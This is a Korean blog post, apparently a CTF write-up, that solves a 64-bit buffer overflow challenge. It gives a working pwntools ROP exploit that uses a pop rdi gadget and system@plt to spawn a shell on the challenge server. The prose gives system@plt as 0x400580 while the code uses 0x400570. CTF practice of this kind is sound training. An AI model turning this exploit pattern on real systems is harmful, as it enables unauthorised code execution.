Download: vuln
64bit ELF 바이너리 파일이고 NX만 걸려있다. bofbaby1와 완전히 똑같은 문제지만, 아키텍쳐만 바뀌었을 뿐이다.
64bit에서 system 함수가 rdi로 인자를 받으므로 인자를 넘길 때 pop rdi; ret; gadget을 사용하면 문제를 해결할 수 있다.
"/bin/sh" 는 0x400814, system@plt는 0x400580, pop rdi; ret;는 0x4007F3에 위치한다. 이들을 이용해 exploit을 작성한다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10201)
system_plt = 0x400570
pop_rdi_ret = 0x4007F3
ret = 0x400551
sh_str = 0x400814
payload = 'A'*(0x10+8)
payload += p64(pop_rdi_ret)
payload += p64(sh_str)
payload += p64(ret)
payload += p64(system_plt)
p.sendline(payload)
p.interactive()
'ICEWALL' 카테고리의 다른 글
[System] typing_practice / 200 (0) | 2019.07.19 |
---|---|
[System] fsb32 / 150 (0) | 2019.07.19 |
[System] canary / 150 (0) | 2019.07.19 |
[System] bofbaby1 / 100 (0) | 2019.07.18 |
[System] command_injection / 100 (0) | 2019.07.18 |